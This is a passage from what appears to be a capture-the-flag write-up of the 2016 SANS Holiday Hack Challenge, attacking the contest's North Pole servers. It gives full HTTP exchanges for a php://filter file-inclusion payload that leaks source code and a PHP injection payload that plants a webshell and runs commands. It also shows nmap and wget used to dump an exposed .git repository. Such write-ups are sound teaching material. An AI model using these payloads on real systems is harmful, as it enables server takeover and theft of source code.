What a crazy random happenstance, it just so happens that an article about pentesting Meteor-based web applications was recently published on the SANS blog.

So, let's spin Tampermonkey, with the Meteor Miner script, to see what kind of informations we can extract from the applications. On this screenshot, we can see that we have access to the quotes printed on the front page:

We can also see that there's an /admin/quotes page:

If we go to it, even if we're supposed to be logged in, we can see that there's one quote more than on the front page:

In one of these quotes, we can see that there's a link to the MP3 file we want. We can then download the MP3 file from this URL: http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

The Uncaught Exception Handler Server

When the Android application encounters a Java exception, it's sent to an exception handling server: http://ex.northpolewonderland.com/exception.php. For example, when I first tried to run the Santagram application on a virtual Android device, this exception was sent (some problem with the resolution of my virtual device):

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 3860

{"operation":"WriteCrashDump","data":{"message":"Canvas: trying to draw too large(113246208bytes) bitmap.","lmessage":"Canvas: trying to draw too large(113246208bytes) bitmap.","strace":"java.lang.RuntimeException: Canvas: trying to draw too large(113246208bytes) bitmap.\n\tat android.view.DisplayListCanvas.throwIfCannotDraw(DisplayListCanvas.java:260)\n\tat android.graphics.Canvas.drawBitmap(Canvas.java:1415)\n\tat android.graphics.drawable.BitmapDrawable.draw(BitmapDrawable.java:528)\n\tat android.widget.ImageView.onDraw(ImageView.java:1316)\n\tat android.view.View.draw(View.java:17185)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16167)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.draw(View.java:17188)\n\tat com.android.internal.policy.DecorView.draw(DecorView.java:753)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16167)\n\tat android.view.ThreadedRenderer.updateViewTreeDisplayList(ThreadedRenderer.java:648)\n\tat android.view.ThreadedRenderer.updateRootDisplayList(ThreadedRenderer.java:654)\n\tat android.view.ThreadedRenderer.draw(ThreadedRenderer.java:762)\n\tat android.view.ViewRootImpl.draw(ViewRootImpl.java:2800)\n\tat android.view.ViewRootImpl.performDraw(ViewRootImpl.java:2608)\n\tat android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:2215)\n\tat android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:1254)\n\tat android.view.ViewRootImpl$TraversalRunnable.run(ViewRootImpl.java:6337)\n\tat android.view.Choreographer$CallbackRecord.run(Choreographer.java:874)\n\tat android.view.Choreographer.doCallbacks(Choreographer.java:686)\n\tat android.view.Choreographer.doFrame(Choreographer.java:621)\n\tat android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:860)\n\tat android.os.Handler.handleCallback(Handler.java:751)\n\tat android.os.Handler.dispatchMessage(Handler.java:95)\n\tat android.os.Looper.loop(Looper.java:154)\n\tat android.app.ActivityThread.main(ActivityThread.java:6119)\n\tat java.lang.reflect.Method.invoke(Native Method)\n\tat com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:886)\n\tat com.android.internal.os.ZygoteInit.main(ZygoteInit.java:776)\n","model":"Android SDK built for x86","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}

I got this response from the server:

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 26 Dec 2016 22:19:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81

{
    "success" : true,
    "folder" : "docs",
    "crashdump" : "crashdump-WgyLFG.php"
}

So, apparently, a file docs/crashdump-WgyLFG.php was created. That's very interesting, because this means that we may be able to upload valid PHP code to be executed. The first thing I did was try to put PHP code in the exception, to see if it was executed:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 429

{"operation":"WriteCrashDump","data":{"message":"<?php phpinfo(); ?>","lmessage":"Message.","strace":"Stack trace","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:27:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81

{
    "success" : true,
    "folder" : "docs",
    "crashdump" : "crashdump-yoerjb.php"
}

GET /docs/crashdump-yoerjb.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:28:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 488

{
    "message": "<?php phpinfo(); ?>",
    "lmessage": "Message.",
    "strace": "Stack trace",
    "sdkint": "25",
    "device": "generic_x86",
    "product": "sdk_google_phone_x86",
    "lversion": "3.10.0+",
    "vmheapsz": "123054440",
    "vmallocmem": "119010712",
    "vmheapszlimit": "536870912",
    "natallocmem": "7198792",
    "cpuusage": "0.08108108",
    "totalstor": "1560133632",
    "freestor": "120262656",
    "busystor": "1439870976",
    "udid": "58bc60a3ff0f2f1a"
}

No such luck, our code was not executed. By playing with other parameters, I got this error message when I modified the operation parameter:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 419

{"operation":"Test","data":{"message":"<?php phpinfo(); ?>","lmessage":"Message.","strace":"Stack trace","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:30:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 82

Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.

Ok, so we can create crash dump file, but we can also read from them. Let's try to read one. Since I don't know how this API function works, I tried creating a valid ReadCrashDump request by trial and error:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 29

{"operation":"ReadCrashDump"}

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:33:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 42

Fatal error! JSON key 'data' must be set.

Alright, a data key must be set. Let's try this:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 40

{"operation":"ReadCrashDump", "data":""}

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:34:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 47

Fatal error! JSON key 'crashdump' must be set.

Ok, we now need a crashdump key. Let's add it:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 57

{"operation":"ReadCrashDump", "data":"", "crashdump": ""}

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:35:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 47

Fatal error! JSON key 'crashdump' must be set.

Hmm, the server does not seem to like where we put our crashdump key. Maybe we should put it in the data object?

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 56

{"operation":"ReadCrashDump", "data": {"crashdump": ""}}

HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:36:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 0

Alright, we got a 500 error. Our syntax seems to be correct, but the server generated an error, probably because we didn't put anything in the crashdump key. Let's try to put one of our file:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 76

{"operation":"ReadCrashDump", "data" :{"crashdump": "crashdump-yoerjb.php"}}

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:38:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 66

Fatal error! crashdump value duplicate '.php' extension detected.

We got a "fatal error", but the web server returned a 200 OK code. This probably means that we encountered an application error, but not an HTTP error. The error message looks like there is custom filtering on the crashdump parameter. Filtering on .php extensions seems like a filter against Local File Inclusion. The crashdump parameter is most likely used to include one of the created crash dump file.

Since .php extensions seem to be filtered, this LFI seems a good candidate for PHP wrappers. PHP wrappers are URL starting with php://. They can be used to access different I/O streams, and work on them directly. One of these wrappers, and a very interesting one in the case of an LFI is the filter wrapper. The filter wrapper can be used to manipulate files present on the file system, and transform them (base64-encode, ROT13-encode, etc.). Since the server seems to append .php automatically to the crashdump parameter (cue the error message), we can use a php://filter to read files from the server, such as source code file. Let's try to read the exception.php file:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 112

{"operation":"ReadCrashDump", "data":{"crashdump":"php://filter/read=convert.base64-encode/resource=exception"}}

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:53:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 3168

PD9waHAgCgojIEF1ZGlvIGZpbGUgZnJvbSBEaXNjb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLWF1ZGlvLTYtWHl6RTNOOVlxS05ILm1wMwoKIyBDb2RlIGZyb20gaHR0cDovL3RoaXNpbnRlcmVzdHNtZS5jb20vcmVjZWl2aW5nLWpzb24tcG9zdC1kYXRhLXZpYS1waHAvCiMgTWFrZSBzdXJlIHRoYXQgaXQgaXMgYSBQT1NUIHJlcXVlc3QuCmlmKHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10sICdQT1NUJykgIT0gMCl7CiAgICBkaWUoIlJlcXVlc3QgbWV0aG9kIG11c3QgYmUgUE9TVFxuIik7Cn0KCSAKIyBNYWtlIHN1cmUgdGhhdCB0aGUgY29udGVudCB0eXBlIG9mIHRoZSBQT1NUIHJlcXVlc3QgaGFzIGJlZW4gc2V0IHRvIGFwcGxpY2F0aW9uL2pzb24KJGNvbnRlbnRUeXBlID0gaXNzZXQoJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA/IHRyaW0oJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA6ICcnOwppZihzdHJjYXNlY21wKCRjb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL2pzb24nKSAhPSAwKXsKICAgIGRpZSgiQ29udGVudCB0eXBlIG11c3QgYmU6IGFwcGxpY2F0aW9uL2pzb25cbiIpOwp9CgkKIyBHcmFiIHRoZSByYXcgUE9TVC4gTmVjZXNzYXJ5IGZvciBKU09OIGluIHBhcnRpY3VsYXIuCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRvYmogPSBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CgkjIElmIGpzb25fZGVjb2RlIGZhaWxlZCwgdGhlIEpTT04gaXMgaW52YWxpZC4KaWYoIWlzX2FycmF5KCRvYmopKXsKICAgIGRpZSgiUE9TVCBjb250YWlucyBpbnZhbGlkIEpTT04hXG4iKTsKfQoKIyBQcm9jZXNzIHRoZSBKU09OLgppZiAoICEgaXNzZXQoICRvYmpbJ29wZXJhdGlvbiddKSBvciAoCgkkb2JqWydvcGVyYXRpb24nXSAhPT0gIldyaXRlQ3Jhc2hEdW1wIiBhbmQKCSRvYmpbJ29wZXJhdGlvbiddICE9PSAiUmVhZENyYXNoRHVtcCIpKQoJewoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ29wZXJhdGlvbicgbXVzdCBiZSBzZXQgdG8gV3JpdGVDcmFzaER1bXAgb3IgUmVhZENyYXNoRHVtcC5cbiIpOwp9CmlmICggaXNzZXQoJG9ialsnZGF0YSddKSkgewoJaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiV3JpdGVDcmFzaER1bXAiKSB7CgkJIyBXcml0ZSBhIG5ldyBjcmFzaCBkdW1wIHRvIGRpc2sKCQlwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEnXSk7Cgl9CgllbHNlaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiUmVhZENyYXNoRHVtcCIpIHsKCQkjIFJlYWQgYSBjcmFzaCBkdW1wIGJhY2sgZnJvbSBkaXNrCgkJcmVhZENyYXNoZHVtcCgkb2JqWydkYXRhJ10pOwoJfQp9CmVsc2UgewoJIyBkYXRhIGtleSB1bnNldAoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ2RhdGEnIG11c3QgYmUgc2V0LlxuIik7Cn0KZnVuY3Rpb24gcHJvY2Vzc0NyYXNoZHVtcCgkY3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7Cgkkb3V0cHV0ZmlsZW5hbWUgPSB0ZW1wbmFtKCRiYXNlcGF0aCwgImNyYXNoZHVtcC0iKTsKCXVubGluaygkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkb3V0cHV0ZmlsZW5hbWUgPSAkb3V0cHV0ZmlsZW5hbWUgLiAiLnBocCI7CgkkYmFzZW5hbWUgPSBiYXNlbmFtZSgkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkY3Jhc2hkdW1wX2VuY29kZWQgPSAiPD9waHAgcHJpbnQoJyIgLiBqc29uX2VuY29kZSgkY3Jhc2hkdW1wLCBKU09OX1BSRVRUWV9QUklOVCkgLiAiJyk7IjsKCWZpbGVfcHV0X2NvbnRlbnRzKCRvdXRwdXRmaWxlbmFtZSwgJGNyYXNoZHVtcF9lbmNvZGVkKTsKCQkJCglwcmludCA8PDxFTkQKewoJInN1Y2Nlc3MiIDogdHJ1ZSwKCSJmb2xkZXIiIDogImRvY3MiLAoJImNyYXNoZHVtcCIgOiAiJGJhc2VuYW1lIgp9CgpFTkQ7Cn0KZnVuY3Rpb24gcmVhZENyYXNoZHVtcCgkcmVxdWVzdGVkQ3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7CgljaGRpcigkYmFzZXBhdGgpOwkJCgkKCWlmICggISBpc3NldCgkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSkpIHsKCQlkaWUoIkZhdGFsIGVycm9yISBKU09OIGtleSAnY3Jhc2hkdW1wJyBtdXN0IGJlIHNldC5cbiIpOwoJfQoKCWlmICggc3Vic3RyKHN0cnJjaHIoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10sICIuIiksIDEpID09PSAicGhwIiApIHsKCQlkaWUoIkZhdGFsIGVycm9yISBjcmFzaGR1bXAgdmFsdWUgZHVwbGljYXRlICcucGhwJyBleHRlbnNpb24gZGV0ZWN0ZWQuXG4iKTsKCX0KCWVsc2UgewoJCXJlcXVpcmUoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10gLiAnLnBocCcpOwoJfQkKfQoKPz4K

Yes! We managed to get the source code of the exception.php page, encoded in base64. By decoding it, we have access to the source code, and we can see how our data are treated:

<?php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
    die("Request method must be POST\n");
}

# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
    die("Content type must be: application/json\n");
}

# Grab the raw POST. Necessary for JSON in particular.
$content = file_get_contents("php://input");
$obj = json_decode($content, true);
    # If json_decode failed, the JSON is invalid.
if(!is_array($obj)){
    die("POST contains invalid JSON!\n");
}

# Process the JSON.
if ( ! isset( $obj['operation']) or (
    $obj['operation'] !== "WriteCrashDump" and
    $obj['operation'] !== "ReadCrashDump"))
    {
    die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n");
}
if ( isset($obj['data'])) {
    if ($obj['operation'] === "WriteCrashDump") {
        # Write a new crash dump to disk
        processCrashDump($obj['data']);
    }
    elseif ($obj['operation'] === "ReadCrashDump") {
        # Read a crash dump back from disk
        readCrashdump($obj['data']);
    }
}
else {
    # data key unset
    die("Fatal error! JSON key 'data' must be set.\n");
}
function processCrashdump($crashdump) {
    $basepath = "/var/www/html/docs/";
    $outputfilename = tempnam($basepath, "crashdump-");
    unlink($outputfilename);

    $outputfilename = $outputfilename . ".php";
    $basename = basename($outputfilename);

    $crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
    file_put_contents($outputfilename, $crashdump_encoded);

    print <<<END
{
    "success" : true,
    "folder" : "docs",
    "crashdump" : "$basename"
}

END;
}
function readCrashdump($requestedCrashdump) {
    $basepath = "/var/www/html/docs/";
    chdir($basepath);

    if ( ! isset($requestedCrashdump['crashdump'])) {
        die("Fatal error! JSON key 'crashdump' must be set.\n");
    }

    if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) {
        die("Fatal error! crashdump value duplicate '.php' extension detected.\n");
    }
    else {
        require($requestedCrashdump['crashdump'] . '.php');
    }
}

?>

Now that I'm pasting this source code, I see that the audio file path is given in the top comment of the file. But I was so eager to find out how WriteCrashDump and ReadCrashDump work that I didn't see it. Woopsie for me! Ok, bear with me, and let's suppose that the audio file was not given in the comment (plus, it's more fun this way, so there!).

When we call WriteCrashDump, we can see that our data are JSON encoded, surrounded by print(' and ');, then stored in a PHP file. Since JSON encoding does not encode single-quote, we can escape from our print statement:

POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 309

{"operation":"WriteCrashDump","data":{"message":" ');system($_GET['c']);die();print('","lmessage":"","strace":"","model":"","sdkint":"","device":"","product":"","lversion":"","vmheapsz":"","vmallocmem":"","vmheapszlimit":"","natallocmem":"","cpuusage":"","totalstor":"","freestor":"","busystor":"","udid":""}}

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:01:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81

{
    "success" : true,
    "folder" : "docs",
    "crashdump" : "crashdump-F4Xkdl.php"
}

We now have a functional webshell, stored in the crashdump-F4Xkdl.php file. We just have to put our wanted command in the GET parameter c:

GET /docs/crashdump-F4Xkdl.php?c=whoami HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:03:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28

{
    "message": " www-data

Yes, our command was executed properly. We can now list the content of the webroot:

GET /docs/crashdump-F4Xkdl.php?c=ls+-lh+../ HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:04:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 237

{
    "message": " total 352K
-rw-r--r-- 1 jeff     jeff     219K Dec  7 17:08 discombobulated-audio-6-XyzE3N9YqKNH.mp3
drwxr-xr-x 2 www-data www-data 124K Dec 29 16:01 docs
-r--r--r-- 1 www-data www-data 2.4K Dec  7 16:58 exception.php

We now have the name of the audio file, without having to rely on the comment in the exception.php file, we're such haXXorz. Anyway, the URL to the audio file is: http://ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3

The Mobile Analytics Server (post authentication)

We may have found the first audio file in the analytics server by logging in, but we haven't taken a look at the functionalities offered by the server. Basically, we can query some usage information of the Android application, and save these queries:

First, we performed a query, that we save:

Then, we get the result of our query:

We can then consult the result of our saved query:

Playing with the different parameters to conduct usual attacks (SQLi, LFI, etc.) didn't lead to anything. On the suggestion of one of the elves, we can use nmap -sC to find interesting files hosted by the web server:

$ nmap -sC analytics.northpolewonderland.com
Starting Nmap 6.47 ( http://nmap.org ) at 2016-12-26 11:52 CET
Nmap scan report for analytics.northpolewonderland.com (104.198.252.157)
Host is up (0.14s latency).
rDNS record for 104.198.252.157: 157.252.198.104.bc.googleusercontent.com
Not shown: 998 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
443/tcp open  https
| http-git:
|   104.198.252.157:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc)
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00+00:00
|_Not valid after:  2017-03-07T17:35:00+00:00
|_ssl-date: 1970-06-11T20:44:11+00:00; -46y197d14h08m10s from local time.
| tls-nextprotoneg:
|_  http/1.1

A Git repository was found. That's very interesting, because it means we can download the source code of the website to analyze it. It also means that we have access to the history of every file modifications. Let's download the source of the web site with wget:

$ wget -r -k -np https://analytics.northpolewonderland.com/.git/
--2016-12-26 11:53:55--  https://analytics.northpolewonderland.com/.git/
Résolution de analytics.northpolewonderland.com (analytics.northpolewonderland.com)… 104.198.252.157
Connexion à analytics.northpolewonderland.com (analytics.northpolewonderland.com)|104.198.252.157|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : non indiqué [text/html]
Sauvegarde en : « analytics.northpolewonderland.com/.git/index.html »

analytics.northpolewonderland.com/.git/index.html     [ <=>                                                                                                          ]   1,36K  --.-KB/s   ds 0s

2016-12-26 11:53:56 (14,2 MB/s) - « analytics.northpolewonderland.com/.git/index.html » sauvegardé [1394]

Chargement de robots.txt ; veuillez ignorer les erreurs.
--2016-12-26 11:53:56--  https://analytics.northpolewonderland.com/robots.txt
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 404 Not Found
2016-12-26 11:53:56 erreur 404 : Not Found.

--2016-12-26 11:53:56--  https://analytics.northpolewonderland.com/.git/branches/
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : non indiqué [text/html]
Sauvegarde en : « analytics.northpolewonderland.com/.git/branches/index.html »

[...]

--2016-12-26 11:54:45--  https://analytics.northpolewonderland.com/.git/logs/refs/heads/master
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 4284 (4,2K) [application/octet-stream]
Sauvegarde en : « analytics.northpolewonderland.com/.git/logs/refs/heads/master »

analytics.northpolewonderland.com/.git/logs/refs/ 100%[=============================================================================================================>]   4,18K  --.-KB/s   ds 0s

2016-12-26 11:54:45 (45,9 MB/s) — « analytics.northpolewonderland.com/.git/logs/refs/heads/master » sauvegardé [4284/4284]

Terminé — 2016-12-26 11:54:45 —
Temps total effectif : 50s
Téléchargés : 305 fichiers, 614K en 0,9s (695 KB/s)
$ ls -la analytics.northpolewonderland.com
total 12
drwxr-xr-x 3 yme yme 4096 déc.  26 14:44 .
drwxr-xr-x 3 yme yme 4096 déc.  26 14:44 ..
drwxr-xr-x 8 yme yme 4096 déc.  26 14:45 .git

Alright, the Git repository was completely downloaded, but the source files don't seem to be here. Let's inspect the Git repository:

$ cd analytics.northpolewonderland.com
$ git status
Sur la branche master
Modifications qui ne seront pas validées :
  (utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé)
  (utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail)

    supprimé :        README.md
    supprimé :        crypto.php
    supprimé :        css/bootstrap-theme.css
    supprimé :        css/bootstrap-theme.css.map
    supprimé :        css/bootstrap-theme.min.css
    supprimé :        css/bootstrap-theme.min.css.map
    supprimé :        css/bootstrap.css
    supprimé :        css/bootstrap.css.map
    supprimé :        css/bootstrap.min.css
    supprimé :        css/bootstrap.min.css.map
    supprimé :        css/bootstrap.min.css.orig
    supprimé :        db.php
    supprimé :        edit.php
    supprimé :        fonts/glyphicons-halflings-regular.eot
    supprimé :        fonts/glyphicons-halflings-regular.svg
    supprimé :        fonts/glyphicons-halflings-regular.ttf
    supprimé :        fonts/glyphicons-halflings-regular.woff
    supprimé :        fonts/glyphicons-halflings-regular.woff2
    supprimé :        footer.php
    supprimé :        getaudio.php
    supprimé :        header.php
    supprimé :        index.php
    supprimé :        js/bootstrap.js
    supprimé :        js/bootstrap.min.js
    supprimé :        js/npm.js
    supprimé :        login.php
    supprimé :        logout.php
    supprimé :        mp3.php
    supprimé :        query.php
    supprimé :        report.php
    supprimé :        sprusage.sql
    supprimé :        test/Gemfile
    supprimé :        test/Gemfile.lock
    supprimé :        test/test_client.rb
    supprimé :        this_is_html.php
    supprimé :        this_is_json.php
    supprimé :        uuid.php
    supprimé :        view.php

Sorry about the French Git output, but "supprimé" means "deleted". So, every source file was deleted, but the deletion was not commited, which means we can cancel the deletion:

$ git checkout -- .
$ ls
crypto.php  db.php    fonts       getaudio.php  index.php  login.php   mp3.php    README.md   sprusage.sql  this_is_html.php  uuid.php
css         edit.php  footer.php  header.php    js         logout.php  query.php  report.php  test          this_is_json.php  view.php

You can download the code source archive here (sha256: 13a4f237f817300e1e23a95edaf4ea407a4a346d20c2115ca13eea30b69ee65c). It contains the Git repository.

Alright, we now have access to the source code of the web application! This should makes things easier. First of all, we can see that there's a file edit.php, which is not accessible when we're connected as guest:

Indeed, the edit.php page is only accessible to the administrator user:

# File edit.php
<?php
  # This should be the first require
  require_once('this_is_html.php');
  require_once('db.php');

  # Don't allow anybody to access this page (yet!)
  restrict_page_to_users($db, []);

# File this_is_html.php
<?php
[...]
  function restrict_page_to_users($db, $users) {
    $username = get_username();

    if(!$username) {
      header('Location: login.php');
      exit(0);
    }

    check_access($db, $username, $users);
  }

# File db.php
<?php
[...]
  function get_username() {
